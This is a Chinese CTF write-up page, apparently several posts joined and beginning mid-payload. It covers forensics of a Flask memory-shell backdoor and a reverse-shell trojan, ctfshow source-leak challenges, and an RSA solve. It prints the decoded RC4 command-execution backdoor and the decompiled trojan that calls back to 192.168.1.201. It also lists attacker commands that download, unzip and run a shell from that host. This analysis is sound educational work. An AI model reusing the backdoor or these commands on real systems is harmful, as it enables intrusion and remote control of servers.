nRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}

可以看到其经过base64加密。放到cycberchef里解密一下看看:

1
2
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=c4CU3xP+********'))

这里可以看到,先经过反转,然后base64解密,zlib解压缩。尝试解密一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import zlib
import base64


cdata = b'**'
mdata= cdata[::-1]
print(mdata)
mdata = base64.b64decode(mdata)
outdata = zlib.decompress(mdata)
print(f"解压后代码:{outdata}")
'''
b"exec((_)(b'=Mh9tF+P7**************'))"
'''

发现解密出的代码仍旧是exec(()(b’****’))的形式,存在嵌套加密。也就是说,恶意代码是
exec((
)(b’exec(()(b’exec(()(b’exec(()(b’exec(()(b’***)))))))))) 这种的形式,我们需要逐层提取载荷,一直解压到最后。
exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import zlib
import base64
import re

pattern = b"exec\(\(_\)\(b'([^']+)'\)\)"
cdata = b'**************************************'
mdata= cdata[::-1]
mdata = base64.b64decode(mdata)
outdata = zlib.decompress(mdata)
for _ in range(1,100):
print(_)
print(f"解压后代码:{outdata}")
outdata =re.search(pattern, outdata).group(1).decode("UTF-8")
print(outdata)
outdata=outdata[::-1]
outdata=base64.b64decode(outdata)
outdata=zlib.decompress(outdata)

提取出来的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b\'v1p3r_5tr1k3_k3y\'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
tfor i in range(256):j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get(\'X-Token-Auth\') != \'3011aa21232beb7504432bfa90d32779\':
return "Error"
enc_hex_cmd = request.form.get(\'data\')
if not enc_hex_cmd:
return ""
try:enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode(\'utf-8\', errors=\'ignore\')
output_bytes = getattr(os, \'popen\')(cmd).read().encode(\'utf-8\', errors=\'ignore\')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

一个rc4加密的内存马。很明确了,密钥是
v1p3r_5tr1k3_k3y

4

要求找到内存马的名字。

接下来继续看后面的包。根据这个内存马,后面的数据都存在这个data里面。逐个查看data并解密即可知道执行了什么命令。
其分别执行了
id
ls -al
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
这里的下一个http包中就get了一个shell.zip
然后通过打开Hypertext Transfer Protocol,在media type这里导出分组字节流即可获取到压缩包。
或者通过复制as a hex stream的方式放到cycberchef里,然后fromhex 导出也可。注意如果用其他方式复制,可能会导致一些不可显示的数据丢失掉,导致不能正常生成压缩包。

可以看到压缩包里面有一个shell,但是被加密了。
继续看下面的通信:
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13

可以看到,解压密码是nf2jd092jd01
这里还把木马重命名为pyhton3.13,可见其名字就是pyhton3.13了。这里启动木马后,通信就不通过http方式了,因此后面也没有http包。

5

要求找到shell的通信密钥。
之前我们已经拿到了shell的本题,直接去分析shell文件即可。
进入主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+4h] [rbp-115Ch] BYREF
unsigned int v6; // [rsp+8h] [rbp-1158h] BYREF
unsigned int v7; // [rsp+Ch] [rbp-1154h] BYREF
_DWORD v8[4]; // [rsp+10h] [rbp-1150h] BYREF
_BYTE v9[128]; // [rsp+20h] [rbp-1140h] BYREF
_BYTE v10[128]; // [rsp+A0h] [rbp-10C0h] BYREF
char command[4096]; // [rsp+120h] [rbp-1040h] BYREF
struct sockaddr s; // [rsp+1120h] [rbp-40h] BYREF
int v13; // [rsp+1134h] [rbp-2Ch]
int v14; // [rsp+1138h] [rbp-28h]
int v15; // [rsp+113Ch] [rbp-24h]
FILE *stream; // [rsp+1140h] [rbp-20h]
int v17; // [rsp+1148h] [rbp-18h]
unsigned int seed; // [rsp+114Ch] [rbp-14h]
int fd; // [rsp+1150h] [rbp-10h]
int j; // [rsp+1154h] [rbp-Ch]
int v21; // [rsp+1158h] [rbp-8h]
int i; // [rsp+115Ch] [rbp-4h]

fd = socket(2, 1, 0);
if ( fd < 0 )
exit(1);
memset(&s, 48, sizeof(s));
s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = inet_addr("192.168.1.201");
*(_WORD *)s.sa_data = htons(0xE59Eu);
if ( connect(fd, &s, 0x10u) < 0 )
{
close(fd);
exit(1);
}
if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 )
{
close(fd);
exit(1);
}
seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7);
srand(seed);
for ( i = 0; i <= 3; ++i )
v8[i] = rand();
sub_13B4(v10, v8, 0LL);
sub_13B4(v9, v8, 1LL);
while ( (unsigned int)sub_18ED((unsigned int)fd, &v6, 4LL, 0LL) == 4 )
{
v6 = (v6 >> 8) & 0xFF00 | (v6 << 8) & 0xFF0000 | (v6 << 24) | HIBYTE(v6);
if ( v6 <= 0x1000 && v6 && (v6 & 0xF) == 0 )
{
v21 = sub_18ED((unsigned int)fd, command, v6, 0LL);
if ( v21 != v6 )
break;
sub_1860(v10, 0LL, command, command, v21);
v17 = (unsigned __int8)command[v21 - 1];
if ( v17 && v17 <= 16 )
command[v21 - v17] = 0;
else
command[v21] = 0;
stream = popen(command, "r");
if ( stream )
{
v21 = fread(command, 1uLL, 0xFFFuLL, stream);
pclose(stream);
command[v21] = 0;
}
else
{
strcpy(command, "popen failed\n");
v21 = strlen(command);
}
v15 = v21;
v14 = 16 * (v21 / 16 + 1);
v13 = v14 - v21;
for ( j = v21; j < v14; command[j++] = v13 )
;
sub_1860(v9, 1LL, command, command, v14);
v5 = (v14 >> 8) & 0xFF00 | (v14 << 8) & 0xFF0000 | (v14 << 24) | (v14 >> 24);
if ( (unsigned int)sub_197F((unsigned int)fd, &v5, 4LL, 0LL) != 4 )
break;
v3 = sub_197F((unsigned int)fd, command, v14, 0LL);
if ( v14 != v3 )
break;
}
}
close(fd);
return 0LL;
}

很明显是一个开启socket用于执行命令的木马
注意此处:

1
2
3
4
5
6
7
8
9
if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 )
{
close(fd);
exit(1);
}
seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7);//这个地方实际上就是在转小端序
srand(seed);
for ( i = 0; i <= 3; ++i )
v8[i] = rand();

这里接收了一个unsigned int v7,且为4字节;将其进行移位并赋值给seed作为种子生成v8[4]
因为代码里硬编码了ip 192.168.1.201,因此后面直接来看与192.168.1.201进行通信的TCP包
Data (4 bytes)
Data: 34952046
[Length: 4]
可知这就是传给木马的v7了。
继续分析代码,接下来是
sub_13B4(v10, v8, 0LL);
sub_13B4(v9, v8, 1LL);
这里的一个0一个1,很可能是一个用于加密一个用于解密的。
继续分析代码发现了
.rodata:0000000000002020 ; unsigned __int8 byte_2020[256]
.rodata:0000000000002020 byte_2020 db 0D6h, 90h, 0E9h, 0FEh, 0CCh, 0E1h, 3Dh, 0B7h, 16h, 0B6h
.rodata:0000000000002020 ; DATA XREF: sub_1229+26↑o
.rodata:000000000000202A db 14h, 0C2h, 28h, 0FBh, 2Ch, 5, 2Bh, 67h, 9Ah, 76h, 2Ah
.rodata:0000000000002035 db 0BEh, 4, 0C3h, 0AAh, 44h, 13h, 26h, 49h, 86h, 6, 99h
.rodata:0000000000002040 db 9Ch, 42h, 50h, 0F4h, 91h, 0EFh, 98h, 7Ah, 33h, 54h
.rodata:000000000000204A db 0Bh, 43h, 0EDh, 0CFh, 0ACh, 62h, 0E4h, 0B3h, 1Ch, 0A9h
.rodata:0000000000002054 db 0C9h, 8, 0E8h, 95h, 80h, 0DFh, 94h, 0FAh, 75h, 8Fh
.rodata:000000000000205E db 3Fh, 0A6h, 47h, 7, 0A7h, 0FCh, 0F3h, 73h, 17h, 0BAh
.rodata:0000000000002068 db 83h, 59h, 3Ch, 19h, 0E6h, 85h, 4Fh, 0A8h, 68h, 6Bh
.rodata:0000000000002072 db 81h, 0B2h, 71h, 64h, 0DAh, 8Bh, 0F8h, 0EBh, 0Fh, 4Bh
.rodata:000000000000207C db 70h, 56h, 9Dh, 35h, 1Eh, 24h, 0Eh, 5Eh, 63h, 58h, 0D1h
.rodata:0000000000002087 db 0A2h, 25h, 22h, 7Ch, 3Bh, 1, 21h, 78h, 87h, 0D4h, 0
.rodata:0000000000002092 db 46h, 57h, 9Fh, 0D3h, 27h, 52h, 4Ch, 36h, 2, 0E7h, 0A0h
.rodata:000000000000209D db 0C4h, 0C8h, 9Eh, 0EAh, 0BFh, 8Ah, 0D2h, 40h, 0C7h, 38h
.rodata:00000000000020A7 db 0B5h, 0A3h, 0F7h, 0F2h, 0CEh, 0F9h, 61h, 15h, 0A1h
.rodata:00000000000020B0 db 0E0h, 0AEh, 5Dh, 0A4h, 9Bh, 34h, 1Ah, 55h, 0ADh, 93h
.rodata:00000000000020BA db 32h, 30h, 0F5h, 8Ch, 0B1h, 0E3h, 1Dh, 0F6h, 0E2h, 2Eh
.rodata:00000000000020C4 db 82h, 66h, 0CAh, 60h, 0C0h, 29h, 23h, 0ABh, 0Dh, 53h
.rodata:00000000000020CE db 4Eh, 6Fh, 0D5h, 0DBh, 39h, 0B8h, 31h, 11h, 0Ch, 5Ah
.rodata:00000000000020D8 db 0CBh, 3Eh, 0Ah, 45h, 0E5h, 94h, 77h, 5Bh, 8Dh, 6Dh
.rodata:00000000000020E2 db 48h, 41h, 10h, 0BDh, 9, 0C1h, 4Ah, 89h, 0Dh, 6Eh, 97h
.rodata:00000000000020ED db 0A1h, 1Dh, 16h, 0Ah, 0D9h, 88h, 6Ah, 96h, 0D1h, 6Bh
.rodata:00000000000020F7 db 32h, 2, 35h, 46h, 6, 7Dh, 65h, 49h, 8Ch, 0F0h, 3Eh
.rodata:0000000000002102 db 2Dh, 7Ah, 15h, 0FFh, 5, 8Eh, 1, 84h, 3Ch, 3Ah, 38h
.rodata:000000000000210D db 53h, 87h, 7Bh, 0Bh, 2Bh, 7Eh, 0Fh, 0F6h, 69h, 0A8h
.rodata:0000000000002117 db 5Ah, 0B5h, 4Ch, 1Bh, 39h, 7Fh, 8, 8Dh, 1Ch
这个很明显是 SM4 的标准 S 盒。之前那个v8是128位的,那基本可以确实就是SM4密钥了。
写一个c程序获取密钥即可。注意要在linux上使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
unsigned int seed = 0x34952046;
srand(seed);
uint32_t v8[4];
for (int i = 0; i < 4; ++i) {
v8[i] = rand();
}
unsigned char *key_byte_ptr = (unsigned char *)v8;
for (int i = 0; i < 16; i++) {
printf("%02x", key_byte_ptr[i]);
}
return 0;
}

这里需要注意大端序小端序问题。
必须转为char形式,因为:
算法需求:SM4操作的是字节流,不是整数数组
字节序问题:直接打印整数会得到错误的字节顺序
内存表示:需要按内存中的实际布局获取数据
通用性:字节表示在所有平台上都是一致的
密钥:
ac46fb610b313b4f32fc642d8834b456

6

要求找到黑客获取的服务器中的flag值。

分析代码可知,是一个标准SM4+替换过的S盒
这部分参考了https://www.dr0n.top/posts/22eff239/#SnakeBackdoor-6,感谢师傅的wp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

import struct

RAW_HEX = """00000030
7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729"""

KEY_HEX = "ac46fb610b313b4f32fc642d8834b456"
SBOX_HEX = (
"d690e9fecce13db716b614c228fb2c05"
"2b679a762abe04c3aa44132649860699"
"9c4250f491ef987a33540b43edcfac62"
"e4b31ca9c908e89580df94fa758f3fa6"
"4707a7fcf37317ba83593c19e6854fa8"
"686b81b27164da8bf8eb0f4b70569d35"
"1e240e5e6358d1a225227c3b01217887"
"d40046579fd327524c3602e7a0c4c89e"
"eabf8ad240c738b5a3f7f2cef96115a1"
"e0ae5da49b341a55ad933230f58cb1e3"
"1df6e22e8266ca60c02923ab0d534e6f"
"d5db39b831110c5acb3e0a45e594775b"
"8d6d484110bd09c14a890d6e97a11d16"
"0ad9886a96d16b32023546067d65498c"
"f03e2d7a15ff058e01843c3a3853877b"
"0b2b7e0ff669a85ab54c1b397f088d1c"
)

FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279,
]

SBOX = list(bytes.fromhex(SBOX_HEX))
KEY = bytes.fromhex(KEY_HEX)

def rol32(x, n):
x &= 0xFFFFFFFF
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))

def tau_le(x):
b0 = (x >> 24) & 0xFF
b1 = (x >> 16) & 0xFF
b2 = (x >> 8) & 0xFF
b3 = x & 0xFF
return (SBOX[b0]
| (SBOX[b1] << 8)
| (SBOX[b2] << 16)
| (SBOX[b3] << 24))

def T(x):
b = tau_le(x)
return b ^ rol32(b, 2) ^ rol32(b, 10) ^ rol32(b, 18) ^ rol32(b, 24)

def Tp(x):
b = tau_le(x)
return b ^ rol32(b, 13) ^ rol32(b, 23)

def key_schedule(mk_bytes):
MK = list(struct.unpack(">4I", mk_bytes))
K = [MK[i] ^ FK[i] for i in range(4)]
rk = []
for i in range(32):
t = (K[i] ^ Tp(K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i])) & 0xFFFFFFFF
K.append(t)
rk.append(t)
return rk

def crypt_block(block16, rk32):
X = list(struct.unpack(">4I", block16))
for i in range(32):
X.append((X[i] ^ T(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk32[i])) & 0xFFFFFFFF)
return struct.pack(">4I", X[35], X[34], X[33], X[32])

def sm4_ecb(data, rk32):
return b"".join(crypt_block(data[i:i+16], rk32) for i in range(0, len(data), 16))

def pkcs7_unpad_loose(b):
pad = b[-1]
return b[:-pad] if 1 <= pad <= 16 else b

def main():
raw = bytes.fromhex(RAW_HEX)
ln = int.from_bytes(raw[:4], "big")
ct = raw[4:4+ln]

rk_dec = key_schedule(KEY)[::-1]
pt = pkcs7_unpad_loose(sm4_ecb(ct, rk_dec))

print(pt.decode("utf-8", errors="replace"), end="")

if __name__ == "__main__":
main()

写在最后

元旦花了一下午时间复现,虽然感觉后面半决就没有流量取证,更多是内存取证和上机,感觉也收获不少。后面就是速成web,然后把自己内存取证的功底捡一捡,道阻且长。

2026.1.1 19:52

信息收集类

web6

描述:源码泄露
解法:dirsearch扫描目录发现www.zip,解压发现flag

dirsearch常用参数

常用的参数

-u 指定网址
-e 指定网站语言
-w 指定字典
-r 递归目录(跑出目录后,继续跑目录下面的目录)
–random-agents 使用随机UA

web7

描述:git源码泄露
解法:dirsearch扫描目录发现git目录,访问直接获取flag

web8

描述:SVN泄露 SVN(subversion)是程序员常用的源代码版本管理软件。在使用 SVN 管理本地代码过程中,使用 svn checkout 功能来更新代码时,项目目录下会自动生成隐藏的.svn文件夹(Linux上用 ls 命令看不到,要用 ls -al 命令),其中包含重要的源代码信息。
造成SVN源代码漏洞的主要原因是管理员操作不规范,一些网站管理员在发布代码时,不愿意使用“导出”功能,而是直接复制代码文件夹到WEB服务器上,这就使得.svn隐藏文件夹被暴露于外网环境,黑客对此可进一步利用
解法:dirsearch扫描目录发现.svn目录,访问直接获取flag即可。

web9

描述:vim缓存信息泄露 .swp文件泄露
根据提示,在Linux生产环境上使用vim或者vi做修改时,会生成一个swp为后缀的文件

第一次意外退出生成的是.swp
第二次意外退出生成的是.swo
第三次为.swn
解法:尝试打开第一次退出时产生的这个文件,输入url/index.php.swp
https://blog.csdn.net/a597934448/article/details/105431367

web10

描述:cookie泄露flag
解法:抓包发现flag在cookie中

web11

描述:dns域名信息隐藏
题目提到,域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信息
解法:查找flag.ctfshow.com域名下的txt记录
查询所有DNS记录
nslookup -query=any flag.ctfshow.com

特别关注TXT记录(可能包含flag)
nslookup -query=txt flag.ctfshow.com

查询特定子域名
nslookup -query=any secret.ctfshow.com

使用dig获取更详细信息
dig any flag.ctfshow.com +noall +answer

web12

描述 管理员账号密码泄露
解法 diresearch扫描发现目录有robots.txt,里面有admin。还发现有管理员登录界面。
发现网页里有一个Help Line Number : 372619038,尝试将其当做密码,发现能成功登陆。获取flag

web13

描述 技术文档泄露
解法 页面中发现有一个document可以下载,发现是技术文档,包含了后台网址和账号密码(/system1103/login.php)

web14

描述 editor目录遍历漏洞
小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录
解法 扫描发现editor组件,进入发现有图片上传,用本地上传发现可以看到服务器的根目录的内容,在/var/www/html/里发现了flag文件。

web15

描述 邮箱泄露
解法 扫描发现admin登陆界面,有忘记密码功能,密保问题是所在城市。主页面发现了一个qq,搜索发现现居陕西西安。登陆获取flag

web16

描述 php探针泄露
解法 考察PHP探针php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针,然后查看phpinfo搜索flag
/tz.php?act=phpinfo

web17

描述 数据库备份泄露
解法 扫描发现存在backup.sql,进入发现为sql备份文件泄露

web18

描述 js信息隐藏
解法 是一个game,要求获得一定分数。查看js文件发现

1
2
3
4
5
6
7
8
9
10
if(score>100)
{
var result=window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b");
}
else
{
var result=window.confirm("GAMEOVER\n是否从新开始");
if(result){
location.reload();}
}

解码发现是110.php 访问直接获取flag

web19

描述 js源码泄露
解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<script type="text/javascript">
function checkForm(){
var key = "0000000372619038";
var iv = "ilove36dverymuch";
var pazzword = $("#pazzword").val();
pazzword = encrypt(pazzword,key,iv);
$("#pazzword").val(pazzword);
$("#loginForm").submit();

}
function encrypt(data,key,iv) { //key,iv:16位的字符串
var key1 = CryptoJS.enc.Latin1.parse(key);
var iv1 = CryptoJS.enc.Latin1.parse(iv);
return CryptoJS.AES.encrypt(data, key1,{
iv : iv1,
mode : CryptoJS.mode.CBC,
padding : CryptoJS.pad.ZeroPadding
}).toString();
}

</script>
<!--
error_reporting(0);
$flag="fakeflag"
$u = $_POST['username'];
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
}
}

发现是aes加密,直接解密出密码登录就行了。

web20

描述 mdb文件泄露
解法 mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了;
dirsearch扫描一下发现有/db目录,虽然访问权限沐足。题目提示我们是asp+access,尝试访问/db/db.mdb 打开即为flag

信息收集类

web1

描述:源码直接泄露flag
解法:直接查看源码

web2

描述:源码泄露flag,但禁用F12
解法

  1. 使用Burp Suite抓包直接获取flag
  2. 其他方法:
    • Firefox:菜单 → Web开发者 → 开发者工具
    • 命令行:curl -O https://example.com 下载代码

web3

描述:抓包获取flag
解法:分析网络请求包

web4

描述:robots.txt泄露
解法:访问 /robots.txt 获取flag

web5

描述:.phps源码泄露
知识点

  • .phps是PHP源代码文件,用于在浏览器中直接显示源码
  • 不是默认存在,需特殊配置才有
  • 用户无法直接通过浏览器查看.php文件内容,故用.phps替代

解法

  1. 目录扫描发现index.php
  2. 尝试访问index.phps自动下载源码
  3. 查看源码获取flag

比初赛简单,然而还是没做出来,经大佬指点才有思路。

原题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# sage -pip install pycryptodome

from Crypto.Util.number import *
from sympy import nextprime
import os
from gmpy2 import*
'''
Too next maybe.
'''
class MyRSA():
def __init__(self,flag:bytes,nbits:int):
self.n, self.phi = self.GetMyModulus()
self.e = 0x10001
self.d = inverse(self.e,self.phi)
self.flag = self.pad_pkcs77(flag,nbits)
def GetMyModulus(self):
u = getPrime(1024)
u = (u >> 414) << 414
p = nextprime(u)
q = getPrime(326)
n = p^5*q
phi = p^4*(p-1)*(q-1)
return n, phi

def pad(self,flag,nbits:int):
flag = flag + os.urandom(1)*(nbits//8 - len(flag))
return flag

def pad_pkcs77(self,flag:bytes,nbits:int)->bytes:
pad_len = (nbits - len(flag)) % 256
return flag + bytes([pad_len]*pad_len)
def Encrypt(self,flag:bytes)->int:
return pow(bytes_to_long(flag),self.e,self.n)

def Decrypt(self,c:int)->bytes:
return long_to_bytes(pow(c,self.d,self.n))

def GetPublicKey(self)->tuple:
return self.e,self.n

R = MyRSA(flag,4096)
e,n = R.GetPublicKey()
c = R.Encrypt(R.flag)
assert flag in R.Decrypt(c)
print(f'n = {n}')
print(f'c = {c}')
print(f'e = {e}')

观察可知,q是一个326位素数,p是1024位素数低414位置0的数的nextprime。感觉这题思路与前两天的basectf “没有n啊”有共通之处,都涉及到二项式定理的活用。

对于p,我们设其高位部分为a,低位部分为b,这样就有

p = a*(2^414)+b

那么对于 n= (p^5)*q

有:n=((a*(2^414)+b)^5 )*q

到这里我们注意到,若对整体进行mod 2^414,即有:

b^5 * q= n mod 2^414

因为pu低位414置0的下一个素数,说明b的值应该很小。由于q为326位,可以推测b^5 * q的值本身就小于414位,所以不会因为模操作被截断。因此,我们只需尝试b的不同值进行爆破即可求出原本的q

求出q后就简单了,n整除q求出p^5,然后开方即可。

实际运行过程中发现有多个符合条件的bq值,所以要注意q同时要能被n整除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import * 
from sympy import nextprime
import os
from gmpy2 import*

n = 10823775490240073819631917849117225946287891171185101059838012738590942083286491895086451201330121282239112048818281379201392391711081928618707509066233928638187019201160301050490769069075313289908655264579328149828347872699697195230421390529843974340674990548004216615592682491515978442178349653549929465663244023757359796216867165844075976331191951027290725012210177449053555588254681079976280745286908897416681478813013297839608241067674026010720343633012556240553683175172988624633735387588606867666858001973089190528295159219227069810517454677330841359125440162677002725561779009788936368150290859696939093099879034996630579194814736517706689658051035296730348668338031728823161338125653461172596730500445378167749498084676295147743704190979584713779480154941790026465774118720519452568935866964502632734126766023547271771741522485702708564882312127253470312413231358374856453986812653197218096126488261909815753848184984064628112603870471377689973632577669755803660286519111642490140982595789903748438781184726565551753915521681764875126384100543905139578572437448873221310081171658381184510994313626085298420060720405712211118973379978497950555404038223284628782496353636937575849667836726918752652643522916609808294676912772669709626282702678281989896980713944961023191040866155298213017019008276602607515680628655918406129027549335549388661763175355900965439242125850380340787177957488885171013738475994880288387184114946910361655893886743701515443028478684376198033356669188403171941244027967567591761268196312412901508832292242743552450482860690493244338059935380601338109164461877746510598646182450038161334450878692284043867773
c = 10660090497301432537437820885848286020311835935260034549173484275959379310864520958356152878610641549326516182239849660339867147213565561569490658510864241912091951711562645132218482839920377179333386420114391233630515012393090359381717875467071280927583120692784917275074532993409388122061004854178182661632604182150765151482558156183912422898613209559942234127025063687928879910292952039316531554812705081695248540209866005563219806997627684236587554109286831877006896470109805219447282525518519161097673276492456094713735029038771812376330352652393029164468202357817665724369560583349301558861453705718562711798522554316893417360531922795446452749685308492123451575279293644339041629468390133378328145993285368218775498976282596017084494092950586275565868969964447619034372770452127643594002885530340353730337577609060573094563836165559288998090805166088888016631981190567474132421889397451224492478175286707362679459528061705122579238644392225558752144211463152201143723558678398331677420261413849490732610210418705205396485108198008618730081560787598535809656356334449123152662358838247968331030455386114998823400263422044625507507829935684490654252473089135735147481428318393546785418776661158864450118169388804900558540117140348002680864998171847298229035444536926030071973643938958868695657994095200366957439503117930474161132984898344356321926977383591037057394861749532205998932840557833372993944408083463060446903121200107227041538939713625198024076302549803852074630498649236538622458710733295489005936281570737839438843387492079285997225293361642946364581369251919661240027265549956890265107036578709824437885345581015267152770
e = 65537



nn = n%(2**414)
x=2
q=nn//(x**5)
while (1):
x+=1
q=nn//(x**5)
if(q*(x**5)==nn):
p5=n//q
if(p5*q==n):
break
p=gmpy2.iroot(p5,5)[0]
phi=(q-1)*(p-1)*p**4
d = inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
0%